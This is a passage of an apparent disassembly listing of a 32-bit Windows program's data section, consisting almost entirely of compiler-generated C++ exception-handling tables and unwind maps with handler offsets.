1Eh, 4387AFh, 1Eh, 4387BAh, 1Eh dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh, 1Eh, 4387E6h, 1Eh dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh, 1Eh, 438807h, 2Ah dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh, 2Dh, 438828h, 1Eh dd 438828h, 1Eh, 438833h, 30h, 43883Eh, 1Eh, 43883Eh, 1Eh dd 438849h, 33h, 438854h, 1Eh, 438854h, 1Eh, 43885Fh, 36h dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h, 39h, 438880h, 1Eh dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h, 1Eh, 438896h, 1Eh dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh, 1Eh, 4388B7h, 42h dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh, 45h, 4388D8h, 1Eh dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh, 1Eh, 4388EEh, 1Eh dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h, 1Eh, 43890Fh, 4Eh dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h, 51h, 438930h, 52h dd 43893Bh, 53h, 438946h, 54h, 438951h, 13h dup(0) dd offset off_4438B0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 436800h, 2 dup(0) dd offset off_4438D0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C2Ah, 2 dup(0) dd offset off_4438F8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C30h, 0 dword_43F068 dd 3, 43F048h, 43F028h, 43F008h, 2 dup(0)dword_43F080 dd 0 ; ___:0040A997o dd offset dword_436BD4+62h dd 0 dd offset dword_43F068 dd 2 dup(0) dword_43F098 dd 19930520h, 1, 43F0B8h, 5 dup(0) dd 0FFFFFFFFh, 438A30h, 2 dup(0) dword_43F0C8 dd 19930520h, 1, 43F0E8h, 5 dup(0) dd 0FFFFFFFFh, 438A50h, 2 dup(0) dword_43F0F8 dd 19930520h, 3, 43F118h, 5 dup(0) dd 0FFFFFFFFh, 438A70h, 0 dd offset loc_438A87 dd 1, 438A8Fh, 2 dup(0) dword_43F138 dd 19930520h, 1, 43F158h, 5 dup(0) dd 0FFFFFFFFh, 438AB0h, 2 dup(0) dword_43F168 dd 19930520h, 2, 43F188h, 1, 43F198h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F1B0h, 4 dup(0) dd offset sub_40AE52 dd 2 dup(0) dword_43F1C8 dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F210h, 4 dup(0) dd offset sub_40AFD1 dd 2 dup(0) dword_43F228 dd 19930520h, 4, 43F248h, 5 dup(0) dd 0FFFFFFFFh, 438AF0h, 0 dd offset loc_438AFB dd 1, 438B06h, 2, 438B11h, 2 dup(0) dword_43F270 dd 19930520h, 4, 43F290h, 5 dup(0) dd 0FFFFFFFFh, 438B40h, 0 dd offset loc_438B4B dd 1, 438B56h, 2, 438B61h, 2 dup(0) dword_43F2B8 dd 19930520h, 3, 43F2D8h, 5 dup(0) dd 0FFFFFFFFh, 438B90h, 0FFFFFFFFh, 438B98h, 0FFFFFFFFh dd 438BA0h, 2 dup(0) dword_43F2F8 dd 19930520h, 3, 43F318h, 5 dup(0) dd 0FFFFFFFFh, 438BC0h, 0 dd offset loc_438BC8 dd 1, 438BD0h, 2 dup(0) dword_43F338 dd 19930520h, 1, 43F358h, 5 dup(0) dd 0FFFFFFFFh, 438BF0h, 2 dup(0) dword_43F368 dd 19930520h, 4, 43F388h, 5 dup(0) dd 0FFFFFFFFh, 438C10h, 0FFFFFFFFh, 438C18h, 0FFFFFFFFh dd 438C20h, 2, 438C28h, 2 dup(0) dword_43F3B0 dd 19930520h, 1, 43F3D0h, 5 dup(0) dd 0FFFFFFFFh, 438C50h, 2 dup(0) dword_43F3E0 dd 19930520h, 4, 43F400h, 5 dup(0) dd 0FFFFFFFFh, 438C70h, 0 dd offset loc_438C7B dd 0 dd offset loc_438C86 dd 2, 438C91h, 2 dup(0) dword_43F428 dd 19930520h, 1, 43F448h, 5 dup(0) dd 0FFFFFFFFh, 438CC0h, 2 dup(0) dword_43F458 dd 19930520h, 5, 43F478h, 5 dup(0) dd 0FFFFFFFFh, 438CE0h, 0 dd offset loc_438CEB dd 0 dd offset loc_438CF6 dd 0 dd offset loc_438D01 dd 0 dd offset loc_438D0C dd 2 dup(0) dword_43F4A8 dd 19930520h, 2, 43F4C8h, 5 dup(0) dd 0FFFFFFFFh, 438D40h, 0 dd offset loc_438D4B align 10h dword_43F4E0 dd 19930520h, 2, 43F500h, 5 dup(0) dd 0FFFFFFFFh, 438D70h, 0 dd offset loc_438D7B dd 2 dup(0) dword_43F518 dd 19930520h, 4, 43F538h, 5 dup(0) dd 0FFFFFFFFh, 438DA0h, 0FFFFFFFFh, 438DA8h, 0FFFFFFFFh dd 438DB0h, 0FFFFFFFFh, 438DB8h, 2 dup(0) dword_43F560 dd 19930520h, 8, 43F580h, 5 dup(0) dd 0FFFFFFFFh, 438DE0h, 0 dd offset loc_438DEB dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h dd 1, 438E2Dh, 4 dup(0) dword_43F5D0 dd 19930520h, 0Dh, 43F5F0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0FFFFFFFFh, 438E6Bh, 1, 438E76h dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh dd 438EE4h, 4 dup(0) dword_43F668 dd 19930520h, 6, 43F688h, 5 dup(0) dd 0FFFFFFFFh, 438F20h, 0 dd offset loc_438F28 dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0) dword_43F6C0 dd 19930520h, 6, 43F6E0h, 5 dup(0) dd 0FFFFFFFFh, 438F70h, 0 dd offset loc_438F78 dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0) dword_43F718 dd 19930520h, 3, 43F738h, 5 dup(0) dd 0FFFFFFFFh, 438FC0h, 0 dd offset loc_438FC8 dd 1, 438FD0h, 2 dup(0) dword_43F758 dd 19930520h, 1, 43F778h, 5 dup(0) dd 0FFFFFFFFh, 438FF0h, 2 dup(0) dword_43F788 dd 19930520h, 7, 43F7A8h, 5 dup(0) dd 0FFFFFFFFh, 439010h, 0 dd offset loc_439018 dd 0FFFFFFFFh, 439020h, 0FFFFFFFFh, 439028h, 3, 439030h dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0) dword_43F7E8 dd 19930520h, 24h, 43F808h, 5 dup(0) dd 0FFFFFFFFh, 439070h, 0 dd offset loc_439078 dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h, 0Dh, 439125h, 0Eh dd 439133h, 0Fh, 439141h, 10h, 43914Fh, 11h, 43915Dh, 11h dd 439165h, 11h, 43916Dh, 11h, 439175h, 11h, 43917Dh, 11h dd 439185h, 11h, 43918Dh, 11h, 439195h, 11h, 43919Dh, 11h dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h, 11h, 4391BDh, 11h dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h, 11h, 4391DDh, 11h dd 4391E5h, 8 dup(0) dword_43F948 dd 19930520h, 11h, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 439260h, 0 dd offset loc_439268 dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h, 0Dh, 439315h, 0Eh dd 439323h, 0Fh, 439331h, 4 dup(0) dword_43FA00 dd 19930520h, 38h, 43FA20h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0 dd offset loc_43939B dd 1, 4393A6h, 0 dd offset loc_4393B1 dd 0 dd offset loc_4393BC dd 0 dd offset loc_4393C7 dd 0 dd offset loc_4393D2 dd 0 dd offset loc_4393DD dd 0 dd offset loc_4393E8 dd 0 dd offset loc_4393F3 dd 9, 4393FEh, 0 dd offset loc_439409 dd 0 dd offset loc_439414 dd 0 dd offset loc_43941F dd 0 dd offset loc_43942A dd 0Eh, 439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch dd 0Eh, 43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh dd 0 dd offset loc_439499 dd 0 dd offset loc_4394A4 dd 0 dd offset loc_4394B2 dd 0 ; --------------------------------------------------------------------------- rcl byte ptr [ebx+eax*2+1A00h], 0 retf ; --------------------------------------------------------------------------- db 94h, 43h, 0 dd 1Bh, 4394D6h, 0 dd offset loc_4394E1 dd 1Dh, 4394ECh, 0 dd offset loc_4394F7 dd 1Fh, 439502h, 0 dd offset loc_43950D dd 0 dd offset loc_439518 dd 0 dd offset loc_439523 dd 0 dd offset loc_43952E dd 0 dd offset loc_439539 dd 25h, 439544h, 26h, 43954Fh, 0 dd offset loc_43954F dd 28h, 439544h, 0 dd offset loc_43955A dd 0 dd offset loc_439565 dd 2Bh, 439570h, 2Ch, 43957Bh, 0 dd offset loc_43957B dd 2Eh, 439570h, 2Eh, 439586h, 0 dd offset loc_439591 dd 31h, 43959Ch, 0 dd offset loc_4395A7 dd 0 dd offset loc_4395B2 dd 34h, 4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0) dword_43FC10 dd 19930520h, 1, 43FC30h, 5 dup(0) dd 0FFFFFFFFh, 439670h, 2 dup(0) dword_43FC40 dd 19930520h, 1, 43FC60h, 5 dup(0) dd 0FFFFFFFFh, 439690h, 2 dup(0) dword_43FC70 dd 19930520h, 6, 43FC90h, 5 dup(0) dd 0FFFFFFFFh, 4396B0h, 0 dd offset loc_4396B8 dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0) dword_43FCC8 dd 19930520h, 6, 43FCE8h, 5 dup(0) dd 0FFFFFFFFh, 439710h, 0 dd offset loc_439718 dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0) dword_43FD20 dd 19930520h, 0Ah, 43FD40h, 5 dup(0) dd 0FFFFFFFFh, 439770h, 0FFFFFFFFh, 439778h, 0FFFFFFFFh dd 439780h, 0FFFFFFFFh, 439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh dd 439798h, 0FFFFFFFFh, 4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh dd 4397B0h, 0FFFFFFFFh, 4397B8h, 4 dup(0) dword_43FDA0 dd 19930520h, 0Eh, 43FDC0h, 5 dup(0) dd 0FFFFFFFFh, 4397E0h, 0 dd offset loc_4397E8 dd 0FFFFFFFFh, 4397F3h, 0FFFFFFFFh, 4397FBh, 0FFFFFFFFh dd 439803h, 0FFFFFFFFh, 43980Bh, 5, 439816h, 0FFFFFFFFh dd 43981Eh, 0FFFFFFFFh, 439826h, 0FFFFFFFFh, 43982Eh, 9 dd 439839h, 0FFFFFFFFh, 439841h, 0Bh, 439849h, 0Ch, 439851h dd 4 dup(0) dword_43FE40 dd 19930520h, 2, 43FE60h, 5 dup(0) dd 0FFFFFFFFh, 439898h, 0 dd offset loc_439890 dd 2 dup(0) dword_43FE78 dd 19930520h, 2, 43FE98h, 5 dup(0) dd 0FFFFFFFFh, 4398D0h, 0 dd offset loc_4398D8 align 10h dword_43FEB0 dd 19930520h, 1, 43FED0h, 5 dup(0) dd 0FFFFFFFFh, 4398F0h, 2 dup(0) dword_43FEE0 dd 19930520h, 7, 43FF00h, 5 dup(0) dd 0FFFFFFFFh, 439910h, 0 dd offset loc_439918 dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h dd 2 dup(0) dword_43FF40 dd 19930520h, 4, 43FF60h, 5 dup(0) dd 0FFFFFFFFh, 439970h, 0 dd offset loc_43997B dd 1, 439986h, 2, 439991h, 2 dup(0) dword_43FF88 dd 19930520h, 4, 43FFA8h, 5 dup(0) dd 0FFFFFFFFh, 4399C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 99h, 43h, 0 dd 1, 4399D6h, 2, 4399E1h, 2 dup(0) dword_43FFD0 dd 19930520h, 2, 43FFF0h, 5 dup(0) dd 0FFFFFFFFh, 439A10h, 0FFFFFFFFh, 439A18h, 2 dup(0) dword_440008 dd 19930520h, 1, 440028h, 5 dup(0) dd 0FFFFFFFFh, 439A30h, 2 dup(0) dword_440038 dd 19930520h, 1, 440058h, 5 dup(0) dd 0FFFFFFFFh, 439A50h, 2 dup(0) dword_440068 dd 19930520h, 2, 440088h, 5 dup(0) dd 0FFFFFFFFh, 439A70h, 0 dd offset loc_439A78 align 10h dword_4400A0 dd 19930520h, 3, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439A90h, 0 dd offset loc_439A98 dd 1, 439AA3h, 2 dup(0) dword_4400E0 dd 19930520h, 3, 440100h, 5 dup(0) dd 0FFFFFFFFh, 439AD0h, 0 dd offset loc_439AD8 dd 1, 439AE0h, 2 dup(0) dword_440120 dd 19930520h, 1, 440140h, 5 dup(0) dd 0FFFFFFFFh, 439B00h, 2 dup(0) dword_440150 dd 19930520h, 4, 440170h, 5 dup(0) dd 0FFFFFFFFh, 439B20h, 0 dd offset loc_439B28 dd 0 dd offset loc_439B30 dd 0 dd offset loc_439B3B dd 2 dup(0) dword_440198 dd 19930520h, 6, 4401B8h, 5 dup(0) dd 0FFFFFFFFh, 439B60h, 0 dd offset loc_439B68 dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0) dword_4401F0 dd 19930520h, 3, 440210h, 5 dup(0) dd 0FFFFFFFFh, 439BB0h, 0 dd offset loc_439BBB dd 1, 439BC6h, 2 dup(0) dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439BF0h, 0 dd offset loc_439BF8 dd 1, 439C00h, 2, 439C08h, 2 dup(0) dword_440278 dd 19930520h, 5, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439C30h, 0 dd offset loc_439C38 dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0) dword_4402C8 dd 19930520h, 4, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 439C80h, 0 dd offset loc_439C88 dd 1, 439C93h, 2, 439C9Eh, 2 dup(0) dword_440310 dd 19930520h, 3, 440330h, 5 dup(0) dd 0FFFFFFFFh, 439CC0h, 0 dd offset loc_439CC8 dd 1, 439CD0h, 2 dup(0) dword_440350 dd 19930520h, 1, 440370h, 5 dup(0) dd 0FFFFFFFFh, 439CF0h, 2 dup(0) dword_440380 dd 19930520h, 2, 4403A0h, 5 dup(0) dd 0FFFFFFFFh, 439D10h, 0 dd offset loc_439D18 dd 2 dup(0) dword_4403B8 dd 19930520h, 2, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 0 dd offset loc_439D38 align 10h dword_4403F0 dd 19930520h, 3, 440410h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 0 dd offset loc_439D5B dd 1, 439D66h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439D90h, 2 dup(0) dword_440460 dd 19930520h, 1, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440490 dd 19930520h, 4, 4404B0h, 5 dup(0) dd 0FFFFFFFFh, 439DD0h, 0 dd offset loc_439DD8 dd 1, 439DE3h, 2, 439DEEh, 2 dup(0) dword_4404D8 dd 19930520h, 7, 4404F8h, 5 dup(0) dd 0FFFFFFFFh, 439E10h, 0FFFFFFFFh, 439E18h, 0FFFFFFFFh dd 439E20h, 2, 439E28h, 3, 439E30h, 4, 439E38h, 0FFFFFFFFh dd 439E40h, 2 dup(0) dword_440538 dd 19930520h, 1Bh, 440558h, 5 dup(0) dd 0FFFFFFFFh, 439E70h, 0 dd offset loc_439E78 dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh, 0Dh, 439F2Bh, 0Eh dd 439F39h, 0Fh, 439F47h, 10h, 439F55h, 11h, 439F63h, 12h dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh, 15h, 439F9Bh, 16h dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h, 19h, 439FD3h, 6 dup(0) dword_440648 dd 19930520h, 1Bh, 440668h, 5 dup(0) dd 0FFFFFFFFh, 43A050h, 0 dd offset loc_43A058 dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh, 0Dh, 43A10Bh, 0Eh dd 43A119h, 0Fh, 43A127h, 10h, 43A135h, 11h, 43A143h, 12h dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh, 15h, 43A17Bh, 16h dd 43A189h, 17h, 43A197h, 18h, 43A1A5h, 19h, 43A1B3h, 6 dup(0) dword_440758 dd 19930520h, 1, 440778h, 5 dup(0) dd 0FFFFFFFFh, 43A230h, 2 dup(0) dword_440788 dd 19930520h, 3Dh, 4407A8h, 5 dup(0) dd 0FFFFFFFFh, 43A250h, 0 dd offset loc_43A25B dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h, 0Dh, 43A30Eh, 0Eh dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h, 11h, 43A346h, 12h dd 43A354h, 13h, 43A362h, 14h, 43A370h, 15h, 43A37Eh, 16h dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h, 19h, 43A3B6h, 1Ah dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h, 1Dh, 43A3EEh, 1Eh dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h, 21h, 43A426h, 22h dd 43A434h, 23h, 43A442h, 24h, 43A450h, 25h, 43A45Eh, 26h dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h, 29h, 43A496h, 2Ah dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h, 2Dh, 43A4CEh, 2Eh dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h, 31h, 43A506h, 32h dd 43A514h, 33h, 43A522h, 34h, 43A530h, 35h, 43A53Eh, 36h dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h, 39h, 43A576h, 3Ah dd 43A584h, 3Bh, 43A592h, 0Eh dup(0) dword_4409C8 dd 19930520h, 4, 4409E8h, 5 dup(0) dd 0FFFFFFFFh, 43A680h, 0 dd offset loc_43A68B dd 1, 43A696h, 2, 43A6A1h, 2 dup(0) dword_440A10 dd 19930520h, 6, 440A30h, 5 dup(0) dd 0FFFFFFFFh, 43A6D0h, 0 dd offset loc_43A6DB dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0) dword_440A68 dd 19930520h, 4, 440A88h, 5 dup(0) dd 0FFFFFFFFh, 43A740h, 0 dd offset loc_43A74E dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0) dword_440AB0 dd 19930520h, 5, 440AD0h, 5 dup(0) dd 0FFFFFFFFh, 43A7A0h, 0 dd offset loc_43A7AB dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0) dword_440B00 dd 19930520h, 5, 440B20h, 5 dup(0) dd 0FFFFFFFFh, 43A800h, 0 dd offset loc_43A80B dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0) dword_440B50 dd 19930520h, 1, 440B70h, 5 dup(0) dd 0FFFFFFFFh, 43A860h, 2 dup(0) dword_440B80 dd 19930520h, 1, 440BA0h, 5 dup(0) dd 0FFFFFFFFh, 43A880h, 2 dup(0) dword_440BB0 dd 19930520h, 1, 440BD0h, 5 dup(0) dd 0FFFFFFFFh, 43A8A0h, 2 dup(0) dword_440BE0 dd 19930520h, 2, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 43h, 0 dd 2 dup(0) dword_440C18 dd 19930520h, 4, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A8F0h, 0 dd offset loc_43A8FB dd 1, 43A906h, 2, 43A911h, 2 dup(0) dword_440C60 dd 19930520h, 4, 440C80h, 5 dup(0) dd 0FFFFFFFFh, 43A940h, 0 dd offset loc_43A94B dd 1, 43A956h, 2, 43A961h, 2 dup(0) dword_440CA8 dd 19930520h, 6, 440CC8h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 0 dd offset loc_43A99B dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0) dword_440D00 dd 19930520h, 4, 440D20h, 5 dup(0) dd 0FFFFFFFFh, 43AA00h, 0 dd offset loc_43AA0E dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0) dword_440D48 dd 19930520h, 5, 440D68h, 5 dup(0) dd 0FFFFFFFFh, 43AA60h, 0 dd offset loc_43AA6B dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0) dword_440D98 dd 19930520h, 5, 440DB8h, 5 dup(0) dd 0FFFFFFFFh, 43AAC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0AAh, 43h, 0 dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0) dword_440DE8 dd 19930520h, 1, 440E08h, 5 dup(0) dd 0FFFFFFFFh, 43AB20h, 2 dup(0) dword_440E18 dd 19930520h, 1, 440E38h, 5 dup(0) dd 0FFFFFFFFh, 43AB40h, 2 dup(0) dword_440E48 dd 19930520h, 1, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB60h, 2 dup(0) dword_440E78 dd 19930520h, 2, 440E98h, 5 dup(0) dd 0FFFFFFFFh, 43AB80h, 0 dd offset loc_43AB8B align 10h dword_440EB0 dd 19930520h, 4, 440ED0h, 5 dup(0) dd 0FFFFFFFFh, 43ABB0h, 0 dd offset loc_43ABBB dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0) dword_440EF8 dd 19930520h, 1, 440F18h, 5 dup(0) dd 0FFFFFFFFh, 43AC00h, 2 dup(0) dword_440F28 dd 19930520h, 2, 440F48h, 5 dup(0) dd 0FFFFFFFFh, 43AC20h, 0 dd offset loc_43AC2B align 10h dword_440F60 dd 19930520h, 1, 440F80h, 5 dup(0) dd 0FFFFFFFFh, 43AC50h, 2 dup(0) dword_440F90 dd 19930520h, 1, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 2 dup(0) dword_440FC0 dd 19930520h, 2, 440FE0h, 5 dup(0) dd 0FFFFFFFFh, 43AC90h, 0 dd offset loc_43AC9B dd 2 dup(0) dword_440FF8 dd 19930520h, 1, 441018h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 2 dup(0) dword_441028 dd 19930520h, 3, 441048h, 5 dup(0) dd 0FFFFFFFFh, 43ACE0h, 0 dd offset loc_43ACF7 dd 1, 43ACFFh, 2 dup(0) dword_441068 dd 19930520h, 1, 441088h, 5 dup(0) dd 0FFFFFFFFh, 43AD20h, 2 dup(0) dword_441098 dd 19930520h, 4, 4410B8h, 5 dup(0) dd 0FFFFFFFFh, 43AD48h, 0 dd offset sub_43AD40 dd 0 dd offset loc_43AD5F dd 2, 43AD67h, 2 dup(0) dword_4410E0 dd 19930520h, 6, 441100h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0FFFFFFFFh, 43AD98h, 0FFFFFFFFh dd 43ADA0h, 0FFFFFFFFh, 43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh dd 43ADB8h, 2 dup(0) dword_441138 dd 19930520h, 1Ah, 441158h, 5 dup(0) dd 0FFFFFFFFh, 43ADE0h, 0 dd offset loc_43ADEB dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0) dword_441240 dd 19930520h, 4, 441260h, 5 dup(0) dd 0FFFFFFFFh, 43AF70h, 0 dd offset loc_43AF78 dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0) dword_441288 dd 19930520h, 4, 4412A8h, 5 dup(0) dd 0FFFFFFFFh, 43AFB0h, 0 dd offset loc_43AFB8 dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0) dword_4412D0 dd 19930520h, 6, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 0 dd offset loc_43AFF8 dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0) dword_441328 dd 19930520h, 6, 441348h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B058 dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0) dword_441380 dd 19930520h, 6, 4413A0h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh dd 43B0C6h, 2, 43B0D1h, 3, 43B0DCh, 2, 43B0E7h, 2 dup(0) dword_4413D8 dd 19930520h, 3, 4413F8h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2 dup(0) dword_441418 dd 19930520h, 5, 441438h, 5 dup(0) dd 0FFFFFFFFh, 43B140h, 0FFFFFFFFh, 43B148h, 0FFFFFFFFh dd 43B150h, 0FFFFFFFFh, 43B158h, 0FFFFFFFFh, 43B160h, 2 dup(0) dword_441468 dd 19930520h, 0Ch, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B180h, 0 dd offset loc_43B188 dd 0FFFFFFFFh, 43B190h, 0FFFFFFFFh, 43B198h, 0FFFFFFFFh dd 43B1A0h, 0FFFFFFFFh, 43B1A8h, 5, 43B1B0h, 0FFFFFFFFh dd 43B1B8h, 0FFFFFFFFh, 43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh dd 43B1D0h, 0FFFFFFFFh, 43B1D8h, 4 dup(0) dword_4414F8 dd 19930520h, 2, 441518h, 1, 441528h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441540h, 4 dup(0) dd offset loc_41EE2C dd 2 dup(0) dword_441558 dd 19930520h, 0Ah, 441578h, 5 dup(0) dd 0FFFFFFFFh, 43B220h, 0 dd offset loc_43B22B dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0) dword_4415D8 dd 19930520h, 2, 4415F8h, 5 dup(0) dd 0FFFFFFFFh, 43B2C0h, 0 dd offset loc_43B2C8 align 10h dword_441610 dd 19930520h, 3, 441630h, 5 dup(0) dd 0FFFFFFFFh, 43B2E0h, 0FFFFFFFFh, 43B2EBh, 1, 43B2F6h dd 2 dup(0) dword_441650 dd 19930520h, 1, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B320h, 2 dup(0) dword_441680 dd 19930520h, 2, 4416A0h, 5 dup(0) dd 0FFFFFFFFh, 43B340h, 0 dd offset loc_43B34B dd 2 dup(0) dword_4416B8 dd 19930520h, 16h, 4416D8h, 5 dup(0) dd 0FFFFFFFFh, 43B370h, 0 dd offset loc_43B37B dd 0 dd offset loc_43B383 dd 0 dd offset loc_43B38B dd 3, 43B393h, 4, 43B39Bh, 0 dd offset loc_43B3A3 dd 6, 43B3ABh, 7, 43B3B3h, 0 dd offset loc_43B3BB dd 9, 43B3C3h, 0Ah, 43B3CBh, 0 dd offset loc_43B3D3 dd 0Ch, 43B3DBh, 0Dh, 43B3E3h, 0 dd offset loc_43B3EB dd 0Fh, 43B3F3h, 0 dd offset loc_43B3FB dd 11h, 43B403h, 0 dd offset loc_43B40B dd 13h, 43B413h, 13h, 43B41Bh, 6 dup(0) dword_4417A0 dd 19930520h, 1, 4417C0h, 5 dup(0) dd 0FFFFFFFFh, 43B460h, 2 dup(0) dword_4417D0 dd 19930520h, 1, 4417F0h, 5 dup(0) dd 0FFFFFFFFh, 43B490h, 2 dup(0) 